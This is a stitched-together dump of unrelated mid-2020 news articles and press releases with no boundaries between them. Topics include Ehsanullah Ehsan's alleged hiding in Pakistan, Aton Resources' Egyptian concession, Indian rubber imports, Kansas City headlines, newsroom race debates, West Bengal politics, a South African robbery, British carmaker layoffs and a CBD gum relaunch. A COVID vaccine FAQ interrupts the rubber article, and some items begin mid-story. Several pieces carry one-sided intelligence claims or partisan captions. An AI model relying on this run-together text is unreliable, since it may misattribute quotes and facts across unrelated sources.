NBA plans to resume season in July (CBS Sports)

Russia Declares Emergency Following Spill of 20,000 Tons of Oil in the Arctic Circle (Time)

7 dead in Alabama shooting (ABC News)

Houses swept away by powerful landslide in Norway (CNN)

YouTube star Jake Paul arrested (cleveland.com)
New Delhi: A top Talibani leader and prime accused of Peshawar's Army Public School (APS) terror attack is hiding in Pakistan, according to the latest report collaborated with reliable sources in Pakistan. It said that Ehsanullah Ehsan, the top Pakistan Taliban leader and the key accused in Peshawar's APS terror attack, has been traced to Islamabad.

Based on the forensic analysis of Twitter, Indian security agencies have located Ehsanullah in Islamabad, contrary to his claim to be residing in Turkey.

Ehsanullah Ehsan, the former spokesman of Tehreek-i-Taliban, was earlier reported to have mysteriously escaped to Turkey, but the new emerging evidence about his presence in Islamabad raises many questions on Pakistan's intention to fight against terror. His sudden escape from Pakistan prison had baffled everyone in Pakistan.

According to Indian security agencies, Ehsanullah is sitting in the ISI facility in Islamabad as part of a special operation to launch attacks against Afghan leaders. Ehsanullah Ehsan's claim to be in Turkey was to mislead people.

There is growing pressure from within the army families whose children were killed in the APS attack and who are awaiting justice. Ehsanullah Ehsan was a prime accused. His continuing presence in Pakistan in an army safe house was thus an embarrassment to them. It was convenient to show him as having escaped so that pressure from the army stops. Said Tilak Devasher, Advisor, National Security Advisory Board (NSAB) of India.

The families of students martyred during the Army Public School massacre staged a demonstration to protest the escape of Tehreek-i-Taliban spokesman Ehsanullah, also known as Liaquat Ali alias Sajjad Mohmand and demanded the Pakistani government to address the questions surrounding his escape and launch an investigation into the matter.

The victims' parents said that Ehsan's escape had reopened their wounds of losing their children to terrorists. How can a terrorist escape from a highly-guarded red zone area? Its a good joke. The news of escape has created a sense of deprivation among the APS victims, said Shuhada APS Forum President Advocate Fazal Khan.

On December 16, 2014, six Tehrik-i-Taliban Pakistan stormed into the school and opened fire on school staff and children. Of the 149 victims, 132 schoolchildren were killed in the gruesome attack carried out by Ehsanullah and Tehreek-i-Taliban. In December 2015, four of the accused were hanged.

The news of Ehsanullah's escape first surfaced by a short audio message on January 11, 2020, in which a former terrorist disclosed that Ehsanullah managed to escape from the custody of Pakistani security officials.

Ehsanullah has been claiming since his escape that he is in Turkey, along with his wife, son, and daughter but refused to say how did he manage to reach there.

Ehsanullah dismissed the reports of hiding in Pakistan. Report based on lies and baseless desires. A few days ago, an attempt was made to hack my device by becoming a human rights activist, this attack was thwarted, Tweeted Ehsanullah.

In 2012, Ehsan had claimed responsibility for an attack on Malala Yousafzai. In 2014, a suicide bombing took place at Pakistans Wagah border with India which killed more than 60 people. Ehsanullah is learnt to be behind the suicide-bombing.

It will be difficult for Pakistan to explain the sequence of events about Ehsanullah's unexplained escape from the Pakistan army's custody. The emerging evidence of his presence in Islamabad will raise questions about whether ISI is working against the interest of the Pakistan Army itself.

The use of non-state actors by Pakistan ISI to forward its evil design is not a new phenomenon. He is under the patronage of the ISI and his criticism of Pakistani establishment is part of a well-planned strategy.

There are deliberate efforts going on to establish Ehsanullah's credibility as an anti-Pakistan figure and later use him to discredit the present Afghan government.

Ehsanullah is active on social media and has accused ISI of dragging and pressurizing him to kill prominent people. His twitter location now suggests Na Maloom means not aware.

After my refusal, I was pressured by Pakistani Intelligence agencies in many ways but I didnt change my mind, Pakistani agencies also gave me a list of people they wanted to kill. The list included some prominent personalities from all walks of life, Tweeted Ehsanullah on May 20, 2020.

A single-member judicial commission has completed a probe into the 2014 Peshawar Army Public School massacre and is likely to submit its report to the Supreme Court by the end of this month.
VANCOUVER, British Columbia, June 04, 2020 (GLOBE NEWSWIRE) -- Aton Resources Inc. (AAN:TSX-V) (Aton or the Company") is pleased to update investors on the status of its 100% owned Abu Marawat Concession (Abu Marawat or the Concession), in the Eastern Desert of Egypt.

Figure 1: https://www.globenewswire.com/NewsRoom/AttachmentNg/f279e00f-c720-49e3-be3b-14e9dde31947

The Company confirms that it has partially relinquished a further 25% of the land area of the Abu Marawat Concession, subsequent to the confirmation of the three year extension to its exploration licence (see news release dated April 28, 2020), reducing the area of the Concession to 447.7 km2 (see Figure 1). This relinquishment was accepted and approved by the Egyptian Mineral Resources Authority (EMRA) on June 3, 2020. The western Hamama block remains unchanged, while the larger eastern block has been reduced to 423.2 km2 in size. The Company does not consider the ground relinquished to be prospective for the discovery of economic gold mineralisation.

We are pleased to confirm the relinquishment of a further 25% of the Concession, comprising extraneous and unprospective moose pasture, and which will have no material effect on Aton. On the contrary this relinquishment is in exchange for an extension of a further 3 years on the exploration licence at Abu Marawat, and we are delighted that this confirmed security of tenure will now allow us to actively pursue our planned programmes, said Mark Campbell, President and CEO. I have no doubt that investors are frustrated by what appears to be on the surface a lack of activity, but much of this has been the result of the COVID-19 pandemic hitting everyone. However, this impression could not be further from the truth, as we have developed an aggressive 18 month exploration programme for Rodruin and our other prospective regional targets, such as Abu Gaharish, as well as a plan for further work at our Hamama West development project. It also allows us, with the new global interest in the exploration potential of the Eastern Desert of Egypt, to open the door to discussions with strategic investors who are seeking to enter the Egyptian mineral exploration and mining sector. We have the most advanced exploration concession and gold projects in the country, and the only ones operated to international standards. This also gives us the opportunity to work on the legal and technical processes of migrating to the new terms and conditions outlined in the new Executive Regulations of the Mineral Resources Law. So I am convinced that the next three years will be a very exciting time for Aton and its shareholders.

Story continues

About Aton Resources Inc.

Aton Resources Inc. (AAN:TSX-V) is focused on its 100% owned Abu Marawat Concession (Abu Marawat), located in Egypts Arabian-Nubian Shield, approximately 200 km north of Centamins world-class Sukari gold mine. Aton has identified numerous gold and base metal exploration targets at Abu Marawat, including the Hamama deposit in the west, the Abu Marawat deposit in the northeast, and the advanced Rodruin exploration prospect in the south of the Concession. Two historic British gold mines are also located on the Concession at Sir Bakis and Semna. Aton has identified several distinct geological trends within Abu Marawat, which display potential for the development of a variety of styles of precious and base metal mineralisation. Abu Marawat is 447.7 km2 in size and is located in an area of excellent infrastructure; a four-lane highway, a 220kV power line, and a water pipeline are in close proximity, as are the international airports at Hurghada and Luxor.

Qualified person

The technical information contained in this News Release was prepared by Javier Orduna BSc (hons), MSc, MCSM, DIC, MAIG, SEG(M), Exploration Manager of Aton Resources Inc. Mr. Orduna is a qualified person (QP) under National Instrument 43-101 Standards of Disclosure for Mineral Projects.

For further information regarding Aton Resources Inc., please visit us at www.atonresources.com or contact:

MARK CAMPBELL

President and Chief Executive Officer

Tel: +202-27356548

Email: mcampbell@atonresources.com

Note Regarding Forward-Looking Statements

Some of the statements contained in this release are forward-looking statements. Since forward-looking statements address future events and conditions; by their very nature they involve inherent risks and uncertainties. Actual results in each case could differ materially from those currently anticipated in such statements.

Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.
The United Planters Association of Southern India (UPASI) on June 5 sought an immediate moratorium on import of natural rubber (NR) for a minimum period of two years.

In a letter to the Union Commerce and Industry and Railways Minister Piyush Goyal, UPASI president AL RM Nagappan said, "The NR sector has been in a crisis due to the fall in prices over the last eight years. The prices have been far below production cost, the reason being unrestricted surge in cheap imports into the country from South-East Asian regions."

"The spread of COVID-19 pandemic and the consequent lockdown turned out to be a double whammy as NR production came to a grinding halt and the present situation is threatening the existence of the sector," he claimed.

"The opening stock of NR in the country, estimated at 3.4 lakh tonnes (as on April 1, 2020), roughly translates to six months of production, which further reiterates the need to declare a moratorium on import," he said.

Also, Nagappan requested the government to introduce safeguard duty on NR import for three years after the lifting of NR import suspension which, he said, would give additional time for the domestic industry to recover from the damage caused by imports and enable the growing sector to stand on its feet.

COVID-19 Vaccine Frequently Asked Questions View more How does a vaccine work? A vaccine works by mimicking a natural infection. A vaccine not only induces immune response to protect people from any future COVID-19 infection, but also helps quickly build herd immunity to put an end to the pandemic. Herd immunity occurs when a sufficient percentage of a population becomes immune to a disease, making the spread of disease from person to person unlikely. The good news is that SARS-CoV-2 virus has been fairly stable, which increases the viability of a vaccine. How many types of vaccines are there? There are broadly four types of vaccine  one, a vaccine based on the whole virus (this could be either inactivated, or an attenuated [weakened] virus vaccine); two, a non-replicating viral vector vaccine that uses a benign virus as vector that carries the antigen of SARS-CoV; three, nucleic-acid vaccines that have genetic material like DNA and RNA of antigens like spike protein given to a person, helping human cells decode genetic material and produce the vaccine; and four, protein subunit vaccine wherein the recombinant proteins of SARS-COV-2 along with an adjuvant (booster) is given as a vaccine. What does it take to develop a vaccine of this kind? Vaccine development is a long, complex process. Unlike drugs that are given to people with a diseased, vaccines are given to healthy people and also vulnerable sections such as children, pregnant women and the elderly. So rigorous tests are compulsory. History says that the fastest time it took to develop a vaccine is five years, but it usually takes double or sometimes triple that time. View more Show

Stating that NR import has increased from 77,762 tonne in 2008-09 to 5,82,351 tonne during 2018-19, he said imports as a percentage of production had increased from 9 percent in 2008-09 to 89.5 percent in 2018-19, while imports as a percentage of consumption increased from 8.9 percent to 48.1 percent during the corresponding period.

Four countries - Indonesia (42.2 percent), Vietnam (19.7 percent), Malaysia (10.7 percent) and Thailand (9.8 percent) - together account for 82.4 percent of the total imports during 2018-19 and the NR import percentage provides a strong case for imposing safeguard duty by the government.

Given the magnitude of crisis, it has become important on the part of the government to take a bold decision in declaring a moratorium on NR imports to protect the domestic NR sector which provides livelihood to 1.3 million growers, to maintain self-reliance on raw material and also prevent the foreign exchange outgo which was Rs 6,127.7 crore in year 2018-19, Nagappan said.
Kansas City Cashes Out

KC missing out on millions due to lack of tourism KANSAS CITY - Travel is at cautiously low numbers as coronavirus cases continue to pop up around the country. KCTV5 looked into what Kansas City is losing when it comes to tourism. Visit Kansas City says 88 events or conventions have been canceled so far this year. That loss totals $160 million.

Kansas City Politically Correct Locals Pretend To Read & Care

KC Librarian seeing demand for books on race relations A Kansas City librarian said she is seeing a demand for books on race relations.Checking out books from the Kansas City Public Library has changed a lot during the pandemic. Now, it's what people are reading that has changed. There is a surge in demand for titles on race relations."It's encouraging.

General Condemnation Confronts Prez Trup

Former Joint Chiefs Chairman Condemns Trump's Threat To Use Military At Protests subscribe to The NPR Politics Podcast podcast In rare public comments, the former Joint Chiefs of Staff Chairman Ret. Gen. Martin Dempsey condemned Trump's threat to use military force to suppress nationwide protests as "dangerous" and "very troubling," in an interview with NPR on Thursday.

Tucker Could Be Last Hope For American Conservatism

Tucker Carlson says calls to 'defund the police' leave him 'terrified': 'It means thugs are in charge' Tucker Carlson opened his show Thursday by reacting to the growing calls by many on the far left to defund police departments amid nationwide protests sparked by the death of George Floyd. "What would happen if we got rid of the police? How would Americans feel if they actually defunded the police?"

Senate Slap Fighting Persists

Emotional debate erupts over anti-lynching legislation as Booker objects to Rand Paul amendment In an emotional exchange on the Senate floor, Democratic Sens. Cory Booker of New Jersey and Kamala Harris of California spoke out Thursday against an amendment that GOP Sen. Rand Paul of Kentucky was trying to add to anti-lynching legislation.

Coronavirus Contd

Over 1,000 coronavirus deaths reported in the past 24 hours. Officials fear protests will drive up numbers (CNN) In a little over a week, Americans have gone from taking their first hesitant steps outside again to marching in tightly-packed crowds in cities all over the country. Any uncertainty about venturing out during a coronavirus pandemic has been seemingly cast aside to protest police brutality after watching the video of George Floyd pinned under an officer's knee in Minneapolis.

Demi Demos High Fashion

Demi Rose flaunts her cleavage in a plunging ribbed minidress She may not be able to go on her tropical holidays, but that didn't stop Demi Rose from turning up the heat on Instagram on Thursday. The model, 25, showed off her incredible figure as she slipped into a plunging bodycon dress for a slew of sizzling snaps.

Giveem The Bird!!!

Former Kansas Citian Helps Bring Nature Lovers Together with Black Birders Week Zoologist Alexander Grousis-Henderson recalled one of his earliest memories - the sound of mourning doves softly cooing in the tall pine trees that surrounded his childhood home. Their gentle song is one of a few vivid memories that instilled in him a passion for animals - a field in which he typically doesn't see many other people of color.

Storm Forecast For Now

Hot and humid today with an isolated thunderstorm possible KANSAS CITY, Mo. - Share in our weather experience on the weather blog. Click on the blog at the top of the page for more information. For a full list of weather alerts, click here.

For our early morning denizens we take a quick peek at pop culture, community news and more . . .is the song of the day and this is thefor right now . . .
St. John said it was appropriate that on Thursday, as Floyds memorial was held in Minneapolis, that we in law enforcement acknowledge that we must do better and that we hear the message.

St. John said the department had made significant improvements in recent years in building trust and operating transparently. Lt. Brandon Wooley said examples included changes to police training with a greater focus on de-escalation tactics, including putting more physical distance between themselves and civilians on 911 calls, and conducting more stress simulations with the goal of getting officers accustomed to making better decisions under stress.

Billings Mayor Bill Cole spoke during the press conference, acknowledging his white privilege.

As a white male in a predominately white city in a predominately white state, I almost never ask myself if others will treat me differently and worse because of my race, Cole said. But for many black Americans and other Americans of color, including Native Americans in Billings, that may be a daily occurrence.

Similarly, if weve never been a police officer, we can never really know what its like to spend a career making split-second decisions on which the lives of others hang in the balance, not to mention, their own safety and reputation, he said.

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On Wednesday, nine days after police killed George Floyd, a Black man in Minneapolis, anti-racist protests continued in cities and towns around the word, and Glamour magazine heard from eight women journalists of colorincluding CNNs Abby Phillip; Errin Haines, of The 19th; and Marissa Evans, of the Minneapolis Star Tribune. The journalists spoke about reporting while Black. They described the physical threats and emotional trauma involved in covering moments like this, the need for self-care, and the long-term media-industry biases that hinder their work, including racist notions of objectivity and colleagues ignoring Black reporters concerns and expertise. Theres only so much harm to Black people that I can see in the field, through a lens, or on a screen before I begin to feel that Im unraveling, Antonia Hylton, of NBC News, said. I wake up anxiousnot just about what might happen in the news, but also about the private worries that I might have to find a way to compartmentalize or suppress in order to do my job.

Since Floyds death, many other journalists of color have published similar testimonies. A week ago, Patrice Pecka freelance writer who recently launched a newsletter, Coronavirus News for Black Folks, at the intersection of race and the pandemicwrote, in an op-ed for the New York Times, that investment in black journalists is critical, not only through equitable compensation for our contributions, but also in addressing burnout, layoffs and mental wellness, particularly among those of us who keep on keeping on. Over the weekend, L.Z. Granderson wrote, for the LA Times, that journalism schools dont offer courses on managing your mental health when you are repeatedly reflected in gut-wrenching stories. Amanda Barrett, a senior editor at the Associated Press, wrote of her anger at having to explain, again and again, how dehumanizing this all is. On Monday, Shamarria Morrisona reporter with WPSD, an NBC affiliate in Kentuckywrote on Twitter that she had given up her rights to opinions to tell your stories. She added, Please know we are in our newsrooms giving context and educating our colleagues. Yesterday, Jimmie Briggs wrote, for Vanity Fair, that he feels unmoored as never before. As a journalist, a middle-aged black man, and a father, I have reluctantly reached a place at which Ive long fought against arriving: giving up on America.

Related: New York Times public editor: Sen. Cottons op-ed was dishonest, not only reprehensible

These messages (CNNs Brian Stelter collated many similar pieces) have highlighted that newsrooms still are nowhere near diverse enough, particularly in the upper ranks, and that top editors too often make major mistakes when it comes to covering race. This week, weve seen concrete examples of thatand of Black staffers pushing back. According to Pittsburgh City Paper, management at the Pittsburgh Post-Gazettea paper that, in 2018, ran an unsigned editorial comparing the use of the word racism to McCarthyismpulled Alexis Johnson, a Black reporter at the paper, from covering protests in the city, after she posted a (perfectly innocuous) tweet that editors considered to be biased. The union that represents Post-Gazette staffers notified its members of Johnsons treatment, demanded that she be reinstated to protest coverage, and suggested that the union would pursue (so far unspecified) legal action.

Elsewhere in Pennsylvania, on Tuesday, the Philadelphia Inquirer published a piece about damage caused by the protests under the headline Buildings matter, tooa shocking equivocation of architecture and human life. On Wednesday, dozens of staffers of color wrote their management expressing frustration; Were tired of shouldering the burden of dragging this 200-year-old institution kicking and screaming into a more equitable age, they said. Yesterday, more than thirty of those staffers called in sick and tired and refused to work; according to HuffPost, seven staffers instituted a byline strike, meaning they refused to have their name appended to their work. (Management, for its part, issued a public apology for the headline and stated that it wouldnt make staffers use an official day off for their strike.)

And then theres the Times. On Wednesday, its opinion section published an inflammatory and inaccurate piece in which Senator Tom Cotton, a Republican of Arkansas, arguedunder the headline Send in the troopsthat the US military should be deployed against protesters. Many Times staffers voiced public objections, tweeting, Running this puts Black @nytimes staff in danger; internally, more than 800 employees signed a letter of protest. James Bennet, the editor of the Timess opinion section, defended the op-edeven though, as the news desk of the Times reported last night, he hadnt read the piece prior to publication. (Bari Weiss, a controversial columnist for the Times, defended the decision to publish the op-ed in a Twitter thread that slammed wokes in the newsroom; Weisss colleagues said she mischaracterized the dynamics of the office.) By yesterday afternoon, the paper did a screeching U-turn; a spokesperson acknowledged that the op-ed did not meet our standards and that the opinion desk would review its editorial processes going forward. The spokesperson hinted that fact-checking failures and a high volume of submissions were responsible for the op-eds appearance. That may be the case, but the vocal stand taken by Black Times journalists and many of their colleagues was surely influential in reversing the official stance. (Today, Bennet; Dean Baquet, the Timess executive editor; and A.G. Sulzberger, its publisher, are set to face staff at a town hall.)

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Far too many powerful people in media approach racism as a bias, or one side of an argument, rather than as a condition of life. Newsrooms remain overwhelmingly white, and that comes at a cost to the quality of coverage. In her contribution to Glamours package, Haines, who has written for CJR about the importance of the race beat, addressed what a dearth of Black voices means for journalism. This is not just about our feelings, she said. This is about telling the most transparent truth that we can about America. One of the tenets of journalism is to afflict the comfortable. Well, white people are too comfortable in America. And if we are not pointing that out and showing people the disparities and being honest about and clear out about those disparities, then things are not going to be different.

Below, more on journalists of color, and this week:



Other notable stories:

ICYMI: The Story Has Gotten Away from Us

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Jon Allsop is a freelance journalist whose work has appeared in the New York Review of Books, Foreign Policy, and The Nation, among other outlets. He writes CJRs newsletter The Media Today. Find him on Twitter @Jon_Allsop.
West Bengal chief minister and Trinamool Congress (TMC) helmswoman Mamata Banerjee on Friday sharpened attack on Bharatiya Janata Party (BJP) without naming it, and later, also asked her own party to work keeping the 2021 assembly elections in mind.

These developments came following BJPs launch of its 2021 electoral campaign branded as Aar Noi Mamata, literally meaning no more Mamata and in essence calling for the toppling of the TMC regime next year in May. BJP has also announced a series of virtual rallies concerning five parts of the state. The first such rally, to be attended by party workers using mobile applications and broadcast live on social media, would be addressed by union home minister Amit Shah on June 9.

On Friday afternoon, while attending a government programme on world environment day, CM Banerjee took digs at the BJP for launching political campaign when the state was battling with the Covid-19 situation and the devastation caused by cyclone Amphan.

At a time we are fighting disasters, a political party is everyday calling for our removal from power. Is this the time for politics? Why, I am not calling for Narendra Modis removal from Delhi? Thats because we dont consider this to be an appropriate time for politics. Go and serve the people, plant trees and clean ponds. You guys were hiding for three months at a video corner of your home while we were working on the field, Banerjee said.

Also Read: We must work together to restore greenery devastated by cyclone Amphan: CM Mamata Banerjee

She said Bengal will defeat, the coronavirus, the disaster and the conspiracies.

Later, in the evening, she convened a meeting of the party, including its state and district-level leadership, over videoconferencing.

During the meeting she told us that the BJP has started its electoral campaign and that we, too, will have to work keeping the elections in mind. She said we have to effectively counter BJPs propaganda and highlight the good work of our government in the past nine years, said the president of a district unit of TMC who did not want to be named.

For Coronavirus Live Updates

BJP, which recently released a nine-point charge sheet against the Mamata Banerjee government, on Friday rubbished Banerjees allegations of playing politics in the times of a crisis.

She is playing politics. The ration and the relief system have been hijacked by the ruling party. Our partys leaders were not allowed to carry out relief work. The police have been politicised and used to book our leaders in false cases. We have rightly called for the removal of an undemocratic, corrupt and anti-people government, said BJP state unit president Dilip Ghosh

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A gang of armed robbers pretended to be coronavirus health inspectors to steal from a South African supermarket.

The group are believed to have made off with 200,000 ZAR, or 9,392, from a pension payout point at a supermarket in Pietermaritzburg in KwaZulu-Natal province on Wednesday morning.

The four men wore white lab coats, masks and face shields as they entered the shopping mall.

They then calmly walked into the supermarket at around 8.30am.

A gang of armed robbers pretended to be coronavirus health inspectors to steal from a South African supermarket

Two of the men held a manager and a staff member at gunpoint as they removed all the cash from a safe in the office, police have confirmed.

CCTV footage shows the men calmly walking into the supermarket and speaking to a staff member behind a desk.

They then walk through a set of glass doors below the supermarket sign.

Footage then cuts to show the men walking out clutching various bags.

Pietermaritzburg police spokesperson Sergeant Mthokozisi told South Africa's East Coast Radio: 'Four men who were dressed in white coats entered a business premise in Scottsville through the main entrance, and they went to the cash office and asked to speak to the manager.

The group are believed to have made off with 200,000 ZAR, or 9,392, from a pension payout point at a supermarket in Pietermaritzburg in KwaZulu-Natal province on Wednesday morning. Pictured: CCTV footage shows the men clutching bags as they walked out of the supermarket after the alleged robbery

'Two suspects entered the manager's office together with an employee while the others stood outside. At gunpoint, they forced both the manager and employee to lie on the floor, and they then removed all the cash from the safe.'

The men then fled the area in a vehicle. Officials have not confirmed the amount of money the group escaped with.

Gang members did not open fire and no injuries were reported.

CCTV footage shows the men calmly walking into the supermarket and speaking to a staff member behind a desk

The payout desk has since been closed and pensioners were advised to collect their money from other points, local media reported.

A police investigation is ongoing.

It comes as police in KwaZulu-Natal are investigating the theft of PPE that was designated for schools and offices in three different districts.

The items - which were worth millions of rands - were due to reach essential facilities in Pinetown, uMlazi and Zululand.
His job will be to transform the Quai Branly  founded as a museum for primitive arts  into a 21st-century center that examines non-European cultures and their colonial pasts. His dual heritage makes him uniquely positioned for the task: His father is Melanesian; his mother is from mainland France.

Emmanuel Kasarherous appointment is a very interesting symbol: the fact that he belongs to several worlds, and represents this complex and shared colonial and postcolonial history, said Mr. de lEstoile. Hes someone who can open doors and transform the way this museum works.

His first major challenge will be honoring a 2017 promise by President Emmanuel Macron to give back sub-Saharan Africas cultural heritage, of which Quai Branly holds some 70,000 pieces. Figures on both sides of the restitution debate are hoping Mr. Kasarherous background will make him more receptive to their views. But he could also try satisfying both camps, and end up satisfying none.

I feel as much the descendant of people who were colonizers of a certain place as of people who were colonized, he said this week in an interview at his office in the museum, where luscious plants covered the walls and a Tahitian statue, left by his predecessor, stood in a corner.
Perhaps the administrations calls for law and order would seem more credible if it started complying with the dozens of lawful subpoenas it has either blocked or disregarded. Or if it stopped arguing in court that the sitting president is immune to all prosecutions or investigations, from every level of government  including for the (hopefully always theoretical) crime of shooting someone on Fifth Avenue. Or if Trump ceased attacking judges who rule against him.


Contract with CSE Crosscom for WA Resources Sector Project

Sydney, June 5, 2020 AEST (ABN Newswire) - Etherstack plc ( ASX:ESK ) is pleased to announce its Australian subsidiary, Auria Wireless Pty Limited, has entered a contract with Perth base system integrator, CSE Crosscom, to provide Auria's P25 digital radio network technology to CSE Crosscom's customer, being a mining company with activities in the Pilbara region of north-west Western Australia.The delivery is just the first stage of a multi stage project to provide critical voice communications technology and equipment for the mining company. The initial contract is valued at AU$400,000 and is expected to be delivered in the current half year ending 30 June 2020.Etherstack CEO, David Deacon said, "This is an important win for Etherstack as it is the first significant deployment of our technology into a major resources project in Western Australia. Our products and technologies are a good fit for this sector and we are thrilled to be deploying our solution into such an important project. We are also delighted to partner with an integrator of the calibre of CSE Crosscom, part of the CSE Global group of companies".Alistair Tibballs, General Manager of CSE Crosscom said "We are pleased to be providing this communications solution to the WA resources sector and we look forward to working with Auria Wireless to deliver a top class communications technology solution to our customer. In the current challenging global environment, the importance of high quality Australian manufactured solutions cannot be underestimated"About CSE Global Ltd ("CSE"):Listed on Singapore Exchange since 1999, CSE Global Limited is a global technologies company with an international presence spanning the Americas, Asia Pacific, Europe, Middle East and Africa. The Group has now more than 1,500 employees worldwide, and operates a network of 41 offices across the globe. In line with its global ambitions, the Group has adopted the ISO 9001 Quality Management System as certified by Lloyd's Register Quality Assurance (LRQA) and DNV. The CSE Group of companies has been very successful in offering cost-effective, totally integrated solutions to industries in the Oil & Gas, Infrastructure and Mining sectors. CSE has a consistent profit track and a management that is focused on operational excellence to achieve sustainable profit growth and enhance shareholder returns.About Etherstack Plc

Etherstack (ASX:ESK) is a wireless technology company specialising in developing, manufacturing and licensing mission critical radio technologies for wireless equipment manufacturers and network operators around the globe. With a particular focus in the public safety, defence, utilities, transportation and resource sectors, Etherstack's technology and solutions can be found in radio communications equipment used in the most demanding situations. The company has Research and Development facilities in London, Sydney, New York and Yokohama.
The boot badge is displayed on a Bentley Continental GT at the luxury automakers's manufacturing facility in Crewe, Britain Oct.15, 2018. (Darren Staples/Reuters)

Bentley, Aston Martin and McLaren Are Slashing Thousands of Jobs

British automakers Bentley, Aston Martin, and McLaren have announced nearly 3,000 job cuts over the past two weeks as the CCP virus pandemic hammers sales of luxury cars.

Bentley said in a statement Friday that it plans to cut 1,000 jobs in the United Kingdom, or about a quarter of its workforce. The company, which was founded 100 years ago and is owned by Volkswagen, said the arrival of the CCP (Chinese Communist Party) virus meant that an urgent reduction in the workforce was needed.

The carmaker said it had offered voluntary separation packages to workers, but could not rule out future compulsory redundancies. Covid-19 has not been the cause of this measure but a hastener, said CEO Adrian Hallmark.

Bentley had already stopped recruiting new employees, released its contractors and frozen worker pay. Nearly 70 percent of its employees were placed on a UK government furlough scheme at the peak of the pandemic.

The news came one day after Aston Martin announced plans to eliminate 500 jobs because of slumping sales. The carmaker, known as the preferred ride of fictional spy James Bond, is also changing its CEO, hiring Tobias Moers away from Mercedes-AMG last month.

An Aston Martin logo is pictured during the 88th Geneva International Motor Show in Geneva, Switzerland, Mar. 6, 2018. (Reuters/Denis Balibouse)

Aston Martins stock has collapsed following an IPO in October 2018. It reported an operating loss of 76.7 million ($94.4 million) in the first quarter of this year, compared with a loss of 3.2 million ($3.9 million) in the same period last year.

Formula One team owner McLaren said in a statement on May 26 that it was shedding 1,200 jobs, or more than a quarter of its 4,000-strong workforce. It said the cancellation of racing events, the closure of production facilities and showrooms around the world and a reduced demand for technology were all contributing factors.

It is a course of action we have worked hard to avoid, having already undertaken dramatic cost-saving measures across all areas of the business, said executive chairman Paul Walsh. But we now have no other choice but to reduce the size of our workforce.

Luxury British carmakers have seen weak demand for some of their models in recent years, a trend fueled by a global auto slowdown and uncertainty over Brexit. The CCP virus pandemic is adding to the sectors problems, forcing factories and showrooms to shut and the Formula 1 season to be postponed.

It has been a black week for UK Automotive with devastating job cuts across retail and manufacturing coming hard on the heels of earlier losses. Whilst the industry is fundamentally strong and agile, it is not invincible, Mike Hawes, CEO of The Society of Motor Manufacturers and Traders, said in a statement on Friday.

CNN Wire and Epoch Times staff contributed to this report.
[June 05, 2020] Tauriga Sciences Inc. Plans Summertime Re-Launch of its Flagship Tauri-Gum Brand in the New York City Metropolitan Area Marketplace

The Company has Established Relationships with Hundreds of Distinct NY Metro Area Retail Locations (i.e. Supermarkets, Delis, Kiosks, Specialty Grocers, Pharmacies, Smoke Shops, etc.) NEW YORK, NY, June 05, 2020 (GLOBE NEWSWIRE) -- via NEWMEDIAWIRE -- Tauriga Sciences, Inc. (OTCQB: TAUG) (Tauriga or the Company), a revenue generating, diversified life sciences Company, with proprietary CBD & CBG infused chewing gums and edibles product(s) as well as two ongoing Biotechnology initiatives, today announced its planned Summertime re-launch of its flagship Tauri-Gum brand in the New York City Metropolitan area (NY Metro) retail marketplace. Recall that during the spring of 2019, the Company successfully launched its Mint Flavor Tauri-Gum product (CBD Infused) in the NY Metro area marketplace. Due to a subsequent ruling by the New York City Council (applicable to the entire CBD edibles sector), the Company was forced to withdraw from the NYC Metro market. The Company has recently disclosed its Immune Booster version of Tauri-Gum (Pear Bellini Flavor), which contains NO Phytocannabinoids. Each piece of Immune Booster Tauri-Gum chewing gum contains 60mg Vitamin C & 10mg Elemental Zinc. Therefore, it is perfectly legal to sell this product version, in the NY Metro area retail marketplace. With access to its previously established relationships in the NY Metro area, the Company has decided to re-launch its flagship Tauri-Gum brand during this upcoming Summer. Should the NYC City Council ultimately lift the CBD Edibles ban, the Company will have an existing infrastructure in place, to efficiently and effectively capitalize. ABOUT TAURIGA SCIENCES INC. Tauriga Sciences, Inc. (TAUG) is a revenue generating, diversified life sciences company, engaged in several major business activities and initiatives. The company manufactures and distributes several proprietary retail products and product lines, mainly focused on the Cannabidiol (CBD) and Cannabigerol (CBG) Edibles market segment. The main product line, branded as Tauri-Gum, consists of a proprietary supplement chewing gum that is both Kosher certified and Vegan formulated (CBD Infused Tauri-Gum Flavors: Mint, Blood Orange, Pomegranae) & (CBG Infused Tauri-Gum Flavors: Peach-Lemon and Black Currant). The Companys commercialization strategy consists of a broad array of retail customers, distributors, and a fast-growing E-Commerce business segment (E-Commerce website: www.taurigum.com ). Please visit our corporate website, for additional information, as well as inquiries, at www.tauriga.com



Complementary to the Companys retail business, are its two ongoing biotechnology initiatives. The first one relates to the development of a Pharmaceutical grade version of Tauri-Gum, for nausea regulation (specifically designed to help patients that are subjected to ongoing chemotherapy treatment). On March 18, 2020, the Company announced that it filed a provisional U.S. patent application covering its pharmaceutical grade version of Tauri-Gum. The Patent, filed with the U.S.P.T.O. is Titled MEDICATED CBD COMPOSITIONS, METHODS OF MANUFACTURING, AND METHODS OF TREATMENT. The second one relates to a collaboration agreement with Aegea Biotechnologies Inc. for the co-development of a rapid, multiplexed, Novel Coronavirus (COVID-19) test with superior sensitivity and selectivity. The Company is headquartered in New York City and operates a regional office in Barcelona, Spain. In addition, the Company operates a full time E-Commerce fulfillment center located in LaGrangeville, New York.

DISCLAIMER -- Forward-Looking Statements



This press release contains certain forward-looking statements as defined by the Private Securities Litigation Reform Act of 1995 which represent managements beliefs and assumptions concerning future events. These forward-looking statements are often indicated by using words such as may, will, expects, anticipates, believes, hopes, believes, or plans, and may include statements regarding corporate objectives as well as the attainment of certain corporate goals and milestones. Forward-looking statements are based on present circumstances and on managements present beliefs with respect to events that have not occurred, that may not occur, or that may occur with different consequences or timing than those now assumed or anticipated. Actual results may differ materially from those expressed in forward looking statements due to known and unknown risks and uncertainties, such as are not guarantees of general economic and business conditions, the ability to successfully develop and market products, consumer and business consumption habits, the ability to consummate successful acquisition and licensing transactions, fluctuations in exchange rates, and other factors over which Tauriga has little or no control. Many of these risks and uncertainties are discussed in greater detail in the Risk Factors section of Taurigas Form 10-K and other filings made from time to time with the Securities and Exchange Commission. Such forward-looking statements are made only as of the date of this release, and Tauriga assumes no obligation to update forward-looking statements to reflect subsequent events or circumstances. You should not place undue reliance on these forward-looking statements. Contact: CONTACT INFORMATION



Tauriga Sciences, Inc.

555 Madison Avenue, 5th Floor

New York, NY 10022

Chief Executive Officer

Mr. Seth M. Shaw

Email: [email protected]

cell # (917) 796 9926

Instagram: @taurigum

